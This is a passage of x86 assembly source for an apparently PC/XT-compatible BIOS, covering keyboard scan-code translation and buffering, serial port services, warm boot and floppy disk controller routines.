@@ignore cmp al, 35h ; Process / with standard Int 9h je @@done cmp al, 1Ch ; ENTER je @@done cmp al, 1Dh ; Right CTRL je @@done cmp al, 38h ; Right ALT je @@done cmp al, 46h ; CTRL+Pause (Break) je @@done call check_ctrl_alt_del ; Check for CTRL+ALT+DEL combination with gray DEL call set_insert_flags ; Check for gray INS key down and set insert flags jc @@done ; Process key up codes normally mov al, 0E0h ; Set ASCII to E0h for extended keystroke @@stuff: pop cx mov dx, offset int_9_stuff ; Skip processing and put keystroke in buffer push dx @@done: mov [ds:96h], bx ; Write back key flags ret @@F11_F12: add ah, 2Eh ; Convert protocol scan code to software mov al, [ds:17h] test al, 00001000b ; ALT key pressed? jnz @@alt ; yes test al, 00000100b ; CTRL key pressed? jnz @@ctrl ; yes test al, 00000011b ; Either shift key pressed? jnz @@shift ; yes jmp short @@stuff_F11_F12 @@alt: add ah, 2 ; Adjust scan code for ALT+F11/F12 @@ctrl: add ah, 2 ; Adjust scan code for CTRL+F11/F12 @@shift: add ah, 2 ; Adjust scan code for SHIFT+F11/F12 @@stuff_F11_F12: xor al, al ; Set ASCII to 0 jmp short @@stuff ; Stuff keystroke endp int_9_enhanced endif ;-------------------------------------------------------------------------------------------------- ; Display al as hex digit in ASCII ;-------------------------------------------------------------------------------------------------- proc digit near push ax ; Print hex digit in al and al, 0Fh cmp al, 9 jbe @@low add al, 'A'-'9'-1 @@low: add al, '0' ; Make ascii digit call out_char ; print it pop ax ret endp digit ;--------------------------------------------------------------------------------------------------- ; Interrupt 19h - Warm Boot ;--------------------------------------------------------------------------------------------------- entry 0E6F2h ; IBM entry point for int 19h proc int_19 far jmp ipl ; Warm boot endp int_19 str_insert_disk db 'Insert BOOT disk in A:', CR, LF db 'Press any key when ready', CR, LF, LF, 0 ;--------------------------------------------------------------------------------------------------- ; Interrupt 14h - Serial RS232 Communications ;--------------------------------------------------------------------------------------------------- entry 0E729h ; IBM entry point for baud rate generator table baud dw 0417h ; 110 baud clock divisor dw 0300h ; 150 baud clock divisor dw 0180h ; 300 baud clock divisor dw 00C0h ; 600 baud clock divisor dw 0060h ; 1200 baud clock divisor dw 0030h ; 2400 baud clock divisor dw 0018h ; 4800 baud clock divisor dw 000Ch ; 9600 baud clock divisor entry 0E739h ; IBM entry point for int 14h proc int_14 far sti ; Serial RS232 COM services push ds ; through 8250 UART (ugh) push dx ; dx = COM device (0 - 3) push si push di push cx push bx mov bx, 40h mov ds, bx mov di, dx ; mov bx, dx ; RS232 serial COM index (0-3) shl bx, 1 ; index by bytes mov dx, [bx] ; Convert index to port number or dx, dx ; by indexing 40:0 jz @@end ; no such COM device, exit or ah, ah ; Init on ah=0 jz @@init dec ah jz @@send ; Send on ah=1 dec ah jz @@receive ; Receive on ah=2 dec ah jz @@status ; Status on ah=3 @@end: pop bx ; End of COM service pop cx pop di pop si pop dx pop ds iret @@init: push ax ; Init COM port, al has data ; = (Word Length in Bits - 5) ; +(1 if two stop bits) * 4 ; +(1 if parity enable) * 8 ; +(1 if parity even ) * 16 ; +(BAUD: select 0-7 ) * 32 mov bl, al add dx, 3 ; Line Control Register (LCR) mov al, 80h ; index RS232_BASE + 3 out dx, al ; Tell LCR to set (latch) baud mov cl, 4 rol bl, cl ; Baud rate selects by words and bx, 00001110b ; mask off extraneous mov ax, [word cs:bx+baud] ; Clock divisor in ax sub dx, 3 ; Load in lo order baud rate out dx, al ; index RS232_BASE + 0 inc dx ; Load in hi order baud rate mov al, ah out dx, al ; index RS232_BASE + 1 pop ax inc dx ; Find Line Control Register inc dx ; index RS232_BASE + 3 and al, 00011111b ; Mask out the baud rate out dx, al ; set (censored) init stat mov al, 0 dec dx ; Interrupt Enable Reg. (IER) dec dx ; index RS232_BASE + 1 out dx, al ; Interrupt is disabled dec dx jmp short @@status ; Return current status @@send: push ax ; Send al through COM port mov al, 3 mov bh, 00110000b ; (Data Set Ready, Clear To Send) mov bl, 00100000b ; (Data Terminal Ready) wait call near @@wait ; Wait for transmitter to idle jnz @@timeout ; time-out error sub dx, 5 ; (xmit) index RS232_BASE pop cx ; Restore char to cl register mov al, cl ; get copy to load in UART out dx, al ; transmit char to 8250 jmp @@end ; ah register has status @@timeout: pop cx ; Transmit error, restore char mov al, cl ; in al for compatibility ; fall through to generate error @@timeout_2: or ah, 80h ; Set error (=sign) bit in ah jmp @@end ; common exit @@receive: mov al, 1 ; Get char. from COM port mov bh, 00100000b ; Wait on DSR (Data Set Ready) mov bl, 00000001b ; Wait on DTR (Data Terminal Ready) call near @@wait ; wait for character jnz @@timeout_2 ; time-out error and ah, 00011110b ; Mask ah for error bits sub dx, 5 ; (receiver) index RS232_BASE in al, dx ; Read the character jmp @@end ; ah register has status @@status: add dx, 5 ; Calculate line control stat in al, dx ; index RS232_BASE + 5 mov ah, al ; save high order status inc dx ; Calculate modem stat. reg. in al, dx ; index RS232_BASE + 6 jmp @@end ; save low order status ; ax = (DEL Clear_To_Send ) * 1 ; (DEL Data_Set_ready) * 2 ; (Trailing_Ring_Det.) * 4 ; (DEL Carrier_Detect) * 8 ; (Clear_To_Send ) * 16 ; (Data_Set_Ready ) * 32 ; (Ring_Indicator ) * 64 ; (Carrier_Detect ) * 128 ; ---------------------------- ; (Char received ) * 256 ; (Char smothered ) * 512 ; (Parity error ) * 1024 ; (Framing error ) * 2048 ; (Break detected ) * 4096 ; (Able to xmit ) * 8192 ; (Transmit idle ) * 16384 ; (Time out error ) * 32768 @@poll: mov bl, [byte di+7Ch] ; Wait on bh in status or error @@loop: sub cx, cx ; Outer delay loop @@loop_2: in al, dx ; inner loop mov ah, al and al, bh ; And status with user bh mask cmp al, bh jz @@loop_exit ; jump if mask set loop @@loop_2 ; Else try again dec bl jnz @@loop or bh, bh ; Clear mask to show timeout @@loop_exit: retn ; Exit ah reg. Z flag status @@wait: add dx, 4 ; Reset the Modem Control Reg. out dx, al ; index RS232_BASE + 4 inc dx ; Calculate Modem Status Reg. inc dx ; index RS232_BASE + 6 push bx ; Save masks (bh=MSR, bl=LSR) call @@poll ; wait on MSR modem status pop bx ; restore wait masks bh, bl jnz @@done ; "Error Somewhere" by dec dec dx ; Calculate Line Status Reg. mov bh, bl ; index RS232_BASE + 5 call @@poll ; wait on LSR line status @@done: retn ; Status in ah reg and Z flag endp int_14 str_serial db 195, ' Serial Port at ', 0 ;--------------------------------------------------------------------------------------------------- ; Interrupt 16h - Keyboard BIOS Services ;--------------------------------------------------------------------------------------------------- proc int_16 far @@check: cli ; No interrupts, critical code mov bx, [ds:1Ah] ; point to buffer head cmp bx, [ds:1Ch] ; equal buffer tail? mov ax, [bx] ; (fetch, look ahead) sti ; Enable interrupts pop bx pop ds retf 2 ; Do iret, preserve flags @@shift: mov ax, [ds:17h] ; Read keypad shift status jmp short @@end @@stuff: mov ax, cx call stuff_keyboard_buffer mov al, 0 ; al=0 if buffer ok (must be MOV; XOR modifies cf!) jnc @@end inc al ; al=1 if buffer full jmp short @@end entry 0E82Eh ; IBM entry, key BIOS service int_16_entry: sti ; Keyboard BIOS services push ds push bx mov bx, 40h mov ds, bx ; Load work segment cmp ah, 5 je @@stuff ; Stuff keyboard buffer, ah=5 mov bx, ax ; Save function number to check for ; extended call later and ah, 0Fh ; Translate enhanced keyboard function calls ; ah=10h/11h/12h -> ah=00h/01h/02h or ah, ah jz @@read ; Read keyboard buffer, ah=0 dec ah jz @@check ; Set Z if char ready, ah=1 dec ah jz @@shift ; Return shift in al, ah=2 @@end: pop bx ; Exit INT_16 keyboard service pop ds iret @@read: cli ; No interrupts, alters buffer mov ax, [ds:1Ah] ; point to buffer head cmp ax, [ds:1Ch] ; If not equal to buffer tail jnz @@have_char ; char waiting to be read sti ; Else allow interrupts jmp @@read ; wait for him to type @@have_char: test bh, 10h ; Test for extended function call pushf ; Save zf for later xchg ax, bx mov ax, [bx] ; Fetch the character popf ; Is this an extended function call? jnz @@no_translation ; Yes so don't change extended scan codes cmp al, 0E0h ; Is scan code E0h? jne @@no_translation xor al, al ; If so translate to 00h for standard function @@no_translation: inc bx ; Point to next character inc bx ; char = scan code + shift mov [ds:1Ah], bx ; Save position in head cmp bx, [ds:82h] ; buffer overflowed? jnz @@end ; no, done mov bx, [ds:80h] ; Else reset to point at start mov [ds:1Ah], bx ; and correct head position jmp short @@end endp int_16 ;--------------------------------------------------------------------------------------------------- ; Interrupt 9h - Keyboard Data Ready ;--------------------------------------------------------------------------------------------------- entry 0E885h ; Align translation tables at correct place ascii db 000h, 037h, 02Eh, 020h ; Scan -> ASCII, sign bit set db 02Fh, 030h, 031h, 021h ; if further work needed db 032h, 033h, 034h, 035h db 022h, 036h, 038h, 03Eh db 011h, 017h, 005h, 012h db 014h, 019h, 015h, 009h db 00Fh, 010h, 039h, 03Ah db 03Bh, 084h, 001h, 013h db 004h, 006h, 007h, 008h db 00Ah, 00Bh, 00Ch, 03Fh db 040h, 041h, 082h, 03Ch db 01Ah, 018h, 003h, 016h db 002h, 00Eh, 00Dh, 042h db 043h, 044h, 081h, 03Dh db 088h, 02Dh, 0C0h, 023h db 024h, 025h, 026h, 027h db 028h, 029h, 02Ah, 02Bh db 02Ch, 0A0h, 090h non_alpha db 032h, 036h, 02Dh, 0BBh ; Non-Alphabetic secondary db 0BCh, 0BDh, 0BEh, 0BFh ; translation table db 0C0h, 0C1h, 0C2h, 0C3h db 0C4h, 020h, 031h, 033h db 034h, 035h, 037h, 038h db 039h, 030h, 03Dh, 01Bh db 008h, 05Bh, 05Dh, 00Dh db 05Ch, 02Ah, 009h, 03Bh db 027h, 060h, 02Ch, 02Eh db 02Fh ctrl_upper db 040h, 05Eh, 05Fh, 0D4h ; CTRL uppercase secondary db 0D5h, 0D6h, 0D7h, 0D8h ; translation table db 0D9h, 0DAh, 0DBh, 0DCh ; for non-ASCII control db 0DDh, 020h, 021h, 023h db 024h, 025h, 026h, 02Ah db 028h, 029h, 02Bh, 01Bh db 008h, 07Bh, 07Dh, 00Dh db 07Ch, 005h, 08Fh, 03Ah db 022h, 07Eh, 03Ch, 03Eh db 03Fh ctrl_lower db 003h, 01Eh, 01Fh, 0DEh ; CTRL lowercase secondary db 0DFh, 0E0h, 0E1h, 0E2h ; translation table db 0E3h, 0E4h, 0E5h, 0E6h ; for non-ASCII control db 0E7h, 020h, 005h, 005h db 005h, 005h, 005h, 005h db 005h, 005h, 005h, 01Bh db 07Fh, 01Bh, 01Dh, 00Ah db 01Ch, 0F2h, 005h, 005h db 005h, 005h, 005h, 005h db 005h alt_key db 0F9h, 0FDh, 002h, 0E8h ; ALT key secondary db 0E9h, 0EAh, 0EBh, 0ECh ; translation table db 0EDh, 0EEh, 0EFh, 0F0h db 0F1h, 020h, 0F8h, 0FAh db 0FBh, 0FCh, 0FEh, 0FFh db 000h, 001h, 003h, 005h db 005h, 005h, 005h, 005h db 005h, 005h, 005h, 005h db 005h, 005h, 005h, 005h db 005h num_pad db '789-456+1230.' ; Keypad secondary translation num_ctrl db 0F7h, 005h, 004h, 005h ; Numeric keypad CTRL secondary db 0F3h, 005h, 0F4h, 005h ; translation table db 0F5h, 005h, 0F6h, 005h db 005h num_upper db 0C7h, 0C8h, 0C9h, 02Dh ; Numeric keypad SHIFT secondary db 0CBh, 005h, 0CDh, 02Bh ; translation table db 0CFh, 0D0h, 0D1h, 0D2h db 0D3h entry 0E987h ; IBM entry point for int 9h proc int_9 far sti ; Key press hardware interrupt push ax push bx push cx push dx push si push di push ds cld mov ax, 40h mov ds, ax in al, 60h ; Read the scan code data push ax ; save it in al, 61h ; Get control port status push ax ; save it or al, 10000000b ; Set "latch" bit to out 61h, al ; acknowledge data pop ax ; Restore control status out 61h, al ; to enable keyboard pop ax ; restore scan code mov ah, al ; Save copy of scan code ifdef ENHANCED_KEYB mov bx, [ds:96h] ; Get enhanced keyboard status flag call int_9_enhanced ; Process escaped scan codes first endif cmp al, 11111111b ; check for overrun jnz @@process ; no, OK jmp near @@beep ; Else beep bell on overrun int_9_end: @@end: mov al, 20h ; Send end_of_interrupt code out 20h, al ; to 8259 interrupt chip @@exit: pop ds ; Exit the interrupt pop di pop si pop dx pop cx pop bx pop ax iret @@process: and al, 01111111b ; Valid scan code, no break cmp al, 46h jbe @@standard ; Standard key jmp near @@pad ; Numeric keypad key @@standard: mov bx, offset ascii ; Table for ESC thru Scroll Lck xlat [cs:bx] ; translate to Ascii or al, al ; Sign flags "Shift" type key js @@flag ; shift, caps, num, scroll etc or ah, ah ; Invalid scan code? js @@end ; exit if so jmp short @@ascii ; Else normal character @@flag: and al, 01111111b ; Remove sign flag bit or ah, ah ; check scan code js @@shift_up ; negative, key released cmp al, 10h ; Is it a "toggle" type key? jnb @@toggle ; yes or [ds:17h], al ; Else set bit in "flag" byte jmp @@end ; and exit @@toggle: test [byte ds:17h], 00000100b ; Control key pressed? jnz @@ascii ; yes, skip test [ds:18h], al ; Else check "CAPS, NUM, SCRL" jnz @@end ; set, invalid, exit or [ds:18h], al ; Show set in "flag_1" byte xor [ds:17h], al ; flip bits in "flag" byte jmp @@end @@shift_up: cmp al, 10h ; Released - is it "toggle" key jnb @@toggle_up ; skip if so not al ; Else form two's complement and [ds:17h], al ; to do BIT_CLEAR "flags" cmp al, 11110111b ; ALT key release special case jnz @@end ; no, exit mov al, [ds:19h] ; Else get ALT-keypad character mov ah, 0 ; pretend null scan code mov [ds:19h], ah ; zero ALT-keypad character cmp al, ah ; Was there a valid ALT-keypad? jz @@end ; no, ignore, exit jmp near @@null ; Else stuff it in ASCII buffer @@toggle_up: not al ; Form complement of toggle key and [ds:18h], al ; to do BIT_CLEAR "flag_1" jmp @@end @@ascii: test [byte ds:18h], 00001000b ; Scroll lock pressed? jz @@no_lock ; no cmp ah, 45h ; Is this a NUM LOCK character? jz @@done ; no and [byte ds:18h], 11110111b ; Else clear bits in "flag_1" @@done: jmp @@end ; and exit @@no_lock: mov dl, [ds:17h] test dl, 00001000b ; ALT key pressed? jnz @@alt ; yes test dl, 00000100b ; CTRL key pressed? jnz @@ctrl ; yes test dl, 00000011b ; Either shift key pressed? jnz @@shift ; yes @@lower_case: cmp al, 1Ah ; Alphabetic character? ja @@non_alpha ; no add al, 'a'-1 ; Else add lower case base jmp near @@common @@non_alpha: mov bx, offset non_alpha ; Non-alphabetic character sub al, 20h xlat [cs:bx] ; do the xlate jmp near @@common @@alt: cmp al, 1Ah ; Control key pressed? ja @@no_ctrl ; no, skip mov al, 0 ; Else illegal key press jmp near @@buffer @@no_ctrl: mov bx, offset alt_key ; Load ALT key translation sub al, 20h ; bias to printing char xlat [cs:bx] ; do the translation jmp near @@common @@ctrl: cmp ah, 46h ; Scroll lock key? jnz @@ctrl_1 ; no, skip mov [byte ds:71h], 10000000b ; Else CTRL-"Scroll" = break mov ax, [ds:80h] ; get key buffer start mov [ds:1Ch], ax ; get key tail to start mov [ds:1Ah], ax ; get key head to start int 1Bh ; Issue a "Break" interrupt sub ax, ax jmp near @@common_2 @@ctrl_1: cmp ah, 45h ; Num lock key? jnz @@ctrl_2 ; no, skip or [byte ds:18h], 00001000b ; Else show scroll lock mov al, 20h ; send end_of_interrupt out 20h, al ; to 8259 int controller cmp [byte ds:49h], 7 ; Monochrome monitor? jz @@poll ; yes, skip mov dx, 3D8h ; Else reset mode mov al, [ds:65h] ; for the out dx, al ; CGA color card @@poll: test [byte ds:18h], 00001000b ; Wait for him to type jnz @@poll ; not yet jmp @@exit @@ctrl_2: cmp ah, 3 ; Is it a Control @ (null) ? jnz @@ctrl_3 ; no mov al, 0 ; Else force a null @@ctrl_4: jmp near @@buffer ; save in buffer @@ctrl_3: cmp al, 1Ah ; Is it a control character? jbe @@ctrl_4 ; yes mov bx, offset ctrl_lower ; Else non-ascii control sub al, 20h ; lower case xlat [cs:bx] ; translation jmp near @@common @@shift: cmp ah, 37h ; Print_Screen pressed? jnz @@shift_2 mov al, 20h ; Yes, send end_of_interrupt out 20h, al ; to 8259 interrupt chip int 5 ; Request print_screen service jmp @@exit ; and exit key service @@shift_2: cmp al, 1Ah ; Alphabetic char? ja @@shift_3 ; no add al, 'A'-1 ; Yes, add base for alphabet jmp near @@common @@shift_3: mov bx, offset ctrl_upper ; Non-ascii control sub al, 20h ; upper case xlat [cs:bx] ; translation jmp near @@common @@pad: sub al, 47h ; Keypad key, convert origin mov bl, [ds:17h] ; get "flag" byte test bl, 00001000b ; Look for ALT keypad entry jnz @@alt_num ; do special entry thing test bl, 00000100b ; CTRL key pressed? jnz @@released ; skip if so test bl, 00100000b ; Toggle "Num Lock" ? jz @@pad_1 ; no, continue test bl, 00000011b ; Shift keys hit? jnz @@pad_2 ; no, check "INS" jmp short @@pad_5 ; Else xlat keypad char. @@pad_1: test bl, 00000011b ; Shift keys hit? jz @@pad_2 ; no, check "INS" key jmp short @@pad_5 ; Else xlat keypad char. @@alt_num: or ah, ah ; ALT-keypad entry, scan code js @@done_2 ; out of range test [byte ds:17h], 00000100b ; Else check CTRL state jz @@alt_num_2 ; not pressed, ALT keypad @@turbo_patch: cmp ah, 53h ; Patch for CTRL ALT - toggle jnz @@turbo_check ; not a DEL (reset) reboot: mov [word ds:72h], 1234h ; Ctrl-Alt-Del, set init flag jmp warm_boot ; do a warm reboot @@turbo_check: ifdef TURBO_ENABLED ifdef TURBO_HOTKEY cmp ah, 4Ah ; Is it a keypad "-" ? jnz @@alt_num_2 ; no, skip call toggle_turbo endif endif @@alt_num_2: mov bx, offset num_pad ; Get keypad translation table xlat [cs:bx] ; convert to number cmp al, '0' ; Is it a valid ASCII digit? jb @@done_2 ; no, ignore it sub al, 30h ; Else convert to number mov bl, al ; save a copy mov al, [ds:19h] ; Get partial ALT-keypad sum mov ah, 0Ah ; times 10 (decimal) mul ah add al, bl ; Add in new digit to sum mov [ds:19h], al ; save as new ALT entry @@done_2: jmp @@end ; End_of_interrupt, exit @@released: or ah, ah ; Key released? js @@done_2 ; ignore if so mov bx, offset num_ctrl ; Else Numeric Keypad Control xlat [cs:bx] ; secondary translate jmp short @@common ; and save it @@pad_2: call set_insert_flags ; Check for INS press and set jc @@done_2 ; flags accordingly @@pad_4: mov bx, offset num_upper ; Numeric Keypad Upper Case xlat [cs:bx] ; secondary translation jmp short @@common @@pad_5: or ah, ah ; Was the key released? js @@done_2 ; yes, ignore mov bx, offset num_pad ; Load translation table xlat [cs:bx] ; do translate @@common: cmp al, 5 ; Common entry, char in al jz @@done_3 ; Control E, ignore cmp al, 4 ja @@common_1 ; Above Control D or al, 10000000b ; Else set sign flag jmp short @@common_2 @@common_1: test al, 10000000b ; Is sign bit set? jz @@common_3 ; skip if so and al, 01111111b ; Else mask sign off @@common_2: mov ah, al ; Save in high order byte mov al, 0 ; set scan code to zero @@common_3: test [byte ds:17h], 01000000b ; Test for "CAPS LOCK" state jz @@buffer ; no, skip test [byte ds:17h], 00000011b ; Test for SHIFT key jz @@common_4 ; skip if no shift cmp al, 'A' ; Check for alphabetic key jb @@buffer ; not SHIFT_able cmp al, 'Z' ; Check for alphabetic key ja @@buffer ; not SHIFT_able add al, 20h ; Else do the shift jmp short @@buffer @@common_4: cmp al, 'a' ; Check for alphabetic key jb @@buffer ; not SHIFT_able cmp al, 'z' ; Check for Alphabetic key ja @@buffer ; not SHIFT_able sub al, 20h ; Else do the shift int_9_stuff: @@buffer: call stuff_keyboard_buffer ; Put keystroke in buffer jnc @@done_3 @@beep: mov bl, 1 ; Do a call beep ; short beep @@done_3: jmp @@end @@null: mov ah, 38h ; ALT key pressed, released jmp @@buffer ; for no logical reason endp int_9 ;--------------------------------------------------------------------------------------------------- ; Check for INS key up/down scan codes and set flags. cf=1 if scan code is any key up. ;--------------------------------------------------------------------------------------------------- proc set_insert_flags near cmp ah, 0D2h ; Was "INS" key released? jnz @@pad_3 and [byte ds:18h], 01111111b ; Yes, clear "INS" in "FLAG_1" @@done_2: stc ret @@pad_3: or ah, ah ; Key released? js @@done_2 ; ignore if so cmp ah, 52h ; Else check for "INS" press jnz @@done ; not "INS" press test [byte ds:18h], 10000000b ; Was INS key in effect? jnz @@done ; yes, ignore xor [byte ds:17h], 10000000b ; Else tog "INS" in "FLAG" byte or [byte ds:18h], 10000000b ; set "INS" in "FLAG_1" byte @@done: clc ret endp set_insert_flags ;--------------------------------------------------------------------------------------------------- ; Put keystroke in ax (al=ASCII, ah=scan) in the keyboard buffer. cf=1 if buffer is full. ;--------------------------------------------------------------------------------------------------- proc stuff_keyboard_buffer near mov bx, [ds:1Ch] ; bx = tail of buffer mov di, bx ; save it inc bx ; advance inc bx ; by word cmp bx, [ds:82h] ; End of buffer reached? jnz @@check ; no, skip mov bx, [ds:80h] ; Else bx = beginning of buffer @@check: cmp bx, [ds:1Ah] ; bx = Buffer Head ? jnz @@stuff ; no, OK stc ; cf=1, buffer full ret @@stuff: mov [ds:di], ax ; Stuff scan code, char in buffer mov [ds:1Ch], bx ; and update buffer tail clc ; cf=0, no errors ret endp stuff_keyboard_buffer str_8088 db '8088 CPU (', 0 ifdef WARM_BOOT_BASIC str_boot_basic db 'Press SPACE to boot ROM BASIC...', 0 endif ;--------------------------------------------------------------------------------------------------- ; Interrupt 13h - Floppy Disk Services ;--------------------------------------------------------------------------------------------------- entry 0EC59h ; IBM entry point for floppy proc int_13 far sti ; Floppy disk services push bp push si push di push ds push es push bx mov di, ax ; Request type in di, for index xor bx, bx mov ds, bx les si, [dword ds:78h] ; Get disk parameter table mov bl, 40h mov ds, bx mov bl, 5 mov ax, [es:bx+si] ; Get (Gap Length, DTL) in ax push ax ; save it dec bx dec bx mov ax, [es:bx+si] ; Get (Bytes/sector, EOT) in ax push ax ; save it xchg cl, dh xchg dl, cl push dx ; Push (Head, Drive) swapped push cx push di mov bp, sp ; Mark bottom of stack frame ifdef SLOW_FLOPPY call floppy_speed ; execute request at low speed else call floppy_exec ; execute at current speed endif mov ah, [es:si+2] ; Get new motor count mov [ds:40h], ah ; and save it mov ah, [ds:41h] ; Get completion status cmp ah, 1 ; check for write protect cmc ; was write protect error pop bx pop cx pop dx xchg dl, cl xchg cl, dh pop bx ; Clean pop bx ; up pop bx ; stack pop es pop ds pop di pop si pop bp retf 2 floppy_exec: mov al, [bp+1] ; Get floppy service number or al, al jz @@reset ; reset, ah=0 dec al jz @@status ; read status, ah=1 cmp [byte bp+2], 3 ; For track number above 3? ja @@error ; yes cmp al, 5 ; Service within range? jbe @@exec ; yes @@error: mov [byte ds:41h], 1 ; Say write protect error retn @@exec: jmp near @@service ; Execute legal service @@status: mov al, [ds:41h] ; Return NEC status byte retn @@reset: mov dx, 3F2h ; Reset the floppy disk system cli and [byte ds:3Fh], 00001111b ; Clear "write in progress" mov al, [ds:3Fh] ; find out busy drives mov cl, 4 shl al, cl test al, 00100000b jnz @@reset_1 ; Drive #1 active test al, 01000000b jnz @@reset_2 ; Drive #2 active test al, 10000000b jz @@reset_0 ; Drive #3 idle @@reset_3: inc al @@reset_2: inc al @@reset_1: inc al @@reset_0: mov [byte ds:3Eh], 0 ; All drives need recalibrate mov [byte ds:41h], 0 ; no completion status or al, 00001000b ; Interrupt ON in command word out dx, al ; send word to controller or al, 00000100b ; "Reset" in command word out dx, al ; send word to controller sti call near @@nec_busy ; Wait for completion call nec_status ; read result block mov al, [ds:42h] cmp al, 0C0h ; Did the reset work jz @@reset_ok ; yes mov [byte ds:41h], 20h ; Else set controller error jmp short @@done ; return @@reset_ok: mov al, 3 ; Specify command to NEC call nec_chip ; send it mov al, [es:si] ; First byte in param block call nec_chip ; send it mov al, [es:si+1] ; Second byte in param block call nec_chip ; send it @@done: retn func_table db 003h, 000h, 0E6h, 0C5h, 0E6h, 04Dh ; NEC function table lookup dma_table db 000h, 000h, 046h, 04Ah, 042h, 04Ah ; DMA modes for 8237 write_table db 000h, 000h, 000h, 080h, 000h, 080h ; Write flag table lookup drive_table db 1, 2, 4, 8 ; Drive number table lookup error_table db 80h, 20h, 10h, 4, 2, 1 ; Error code table lookup status_table db 04h, 10h, 08h, 04h, 03h, 02h, 20h ; Disk status table lookup @@service: cli ; Normal (non-reset) commands mov ah, 0 mov al, [bp+1] ; Get command word mov [ds:41h], ah ; reset status mov di, ax ; Save copy, zero-extended out 0Ch, al ; diddle LSB/MSB flip-flop mov al, [cs:di+dma_table] ; Fetch DMA mode out 0Bh, al ; send it to init_dma_controller mov ax, [bp+0Ch] ; Get segment address mov cl, 4 ; convert rol ax, cl ; to (offset, 64K page number) mov ch, al ; Extract page number (0-15) and ch, 00001111b ; for 8237 DMA controller and al, 11110000b ; Extract implicit page offset add ax, [bp+0Ah] ; add explicit user offset adc ch, 0 ; (page number overflowed) mov dx, ax ; Now save low 16 bits of address out 4, al ; send lowest 8 bits " " mov al, ah out 4, al ; send next 8 bits " " mov al, ch out 81h, al ; 64K page number to DMA page reg mov ah, [bp+0] mov al, 0 shr ax, 1 ; Sector count * 128 mov cl, [bp+6] ; Track count shl ax, cl ; * sector count dec ax ; - 1 out 5, al ; Send 1/2 of the word count xchg al, ah out 5, al ; Send 2/2 of the word count xchg al, ah add ax, dx ; Compute final address jnb @@disable_dma ; ok sti mov [byte ds:41h], 9h ; Else wrapped around 64K byte jmp near @@overflow ; page register @@disable_dma: mov al, 2 ; Disable floppy disk dma out 0Ah, al mov [byte ds:40h], 0FFh ; Set large motor timeout mov bl, [bp+2] ; get drive number mov bh, 0 mov al, [cs:bx+drive_table] ; Table lookup bit position mov ch, al ; save mask mov cl, 4 shl al, cl ; Shift mask into place or al, bl ; or in drive select or al, 0Ch ; or in DMA and NO RESET mov dx, 3F2h out dx, al ; Send to floppy control port sti mov al, [cs:di+write_table] ; Table lookup for write flag or [ds:3Fh], al ; set write flag if active or al, al jns @@check_calibration ; skip if non-write mov ah, [es:si+0Ah] ; Motor start from param blk or ah, ah jz @@check_calibration ; none specified test [ds:3Fh], ch ; Was this drive motor running? jnz @@check_calibration ; skip if so call near @@wait ; Else delay for motor start @@check_calibration: or [ds:3Fh], ch ; Show this motor is running test [ds:3Eh], ch ; Drive recalibration needed? jnz @@seek ; no, skip or [ds:3Eh], ch ; Else show recalibrated mov al, 7 ; Send RECAL command call nec_chip ; to NEC 765 chip mov al, bl call nec_chip ; drive number call near @@nec_busy ; Wait for completion of RECAL call nec_return ; dummy call to ret @@seek: mov al, 0Fh ; Request a seek call nec_chip ; from the NEC 765 mov al, bl call nec_chip ; Drive number mov al, [bp+3] call nec_chip ; Cylinder number call near @@nec_busy ; wait for completion call nec_status ; read results mov al, [es:si+9] ; Get head settle time or al, al ; none specified? jz @@translate ; if none, skip @@head_settle: mov cx, 226h ; Delay time for head settle @@head_delay: loop @@head_delay ; timed wait dec al ; delay in millisec jnz @@head_settle ; wait some more @@translate: mov al, [cs:di+func_table] ; Translate user service, then call nec_chip ; and send as NEC func mov al, [bp+4] ; and al, 1 shl al, 1 shl al, 1 or al, bl call nec_chip cmp [byte bp+1], 5 ; Is this a format request? jnz @@not_format ; skip if not mov al, [bp+6] ; Else use user bytes/sector call nec_chip mov al, [bp+7] ; user EOT call nec_chip mov al, [es:si+7] ; Disk table format gap length call nec_chip mov al, [es:si+8] ; Disk table format fill byte call nec_chip jmp short @@completion @@not_format: mov cx, 7 ; Else lookup bytes * 512/sec mov di, 3 ; from disk table @@table_loop: mov al, [bp+di] ; al has bytes/sector * 512 call nec_chip inc di ; get next item for table loop @@table_loop ; also (EOT, GAP, DTL...) @@completion: call near @@nec_busy ; Wait on floppy I/O completion call nec_status_alt ; get NEC status mov al, [ds:42h] ; into al and al, 11000000b ; Isolate errors jz @@read_done ; no errors cmp al, 40h ; Test direction bit jz @@error_code mov [byte ds:41h], 20h ; Set if bad controller jmp short @@read_done ; return error @@error_code: mov al, [ds:43h] ; Read return code from block mov cx, 6 ; number of error types xor bx, bx ; Start at error type 0 @@error_loop: test [cs:bx+error_table], al ; Has error type bx occured? jnz @@xlat_error ; yes inc bx ; Else try next error type loop @@error_loop ; until done @@xlat_error: mov al, [cs:bx+status_table] ; Translate error code again mov [ds:41h], al ; store it as disk status @@read_done: mov al, [ds:45h] ; Get bytes read cmp al, [bp+3] ; compare with requested mov al, [ds:47h] ; Read sectors requested jz @@skip ; return if all read mov al, [bp+7] ; Else read sectors requested inc al ; add one for luck @@skip: sub al, [bp+5] ; Subtract stectors read retn @@overflow: mov al, 0 ; Overflowed 64K page boundary retn ; show no sectors read @@nec_busy: sti ; Wait for operation to finish xor cx, cx ; zero low order delay mov al, 2 ; Load high order delay @@busy_wait: test [byte ds:3Eh], 10000000b ; Has interrupt set the flag? clc ; hack to slow CPU jnz @@complete ; yes loop @@busy_wait ; Else back for more dec al jnz @@busy_wait mov [byte ds:41h], 80h ; Time-out, say it completed pop ax mov al, 0 ; return time out code stc ; error status retn @@complete: and [byte ds:3Eh], 01111111b ; Mask off completion status retn ; return carry clear nec_ready: push cx ; Wait for NEC ready for comand xor cx, cx mov dx, 3F4h ; NEC status port @@ready_wait: in al, dx ; Read status of NEC 765 chip or al, al js @@ready_ok ; able to accept command loop @@ready_wait mov [byte ds:41h], 80h ; Else show timeout error jmp short @@ready_error @@ready_ok: test al, 01000000b ; Test the direction bit jnz @@ready_load mov [byte ds:41h], 20h ; clear if controller error @@ready_error: pop cx stc retn @@ready_load: inc dx ; Load NEC data port in al, dx ; read it push ax mov cx, 0Ah ; Short delay @@ready_delay: loop @@ready_delay dec dx ; Load NEC status port in al, dx ; read status test al, 00010000b ; set Z flag if done clc ; return success pop ax pop cx retn @@wait: push cx ; Millisecond delay in ah @@delay: xor cx, cx @@loop: loop @@loop dec ah jnz @@delay pop cx retn endp int_13 ;--------------------------------------------------------------------------------------------------- ; Test video memory (Mono/Herc/CGA only) ;--------------------------------------------------------------------------------------------------- ifdef TEST_VIDEO proc video_mem_test near mov bp, 4 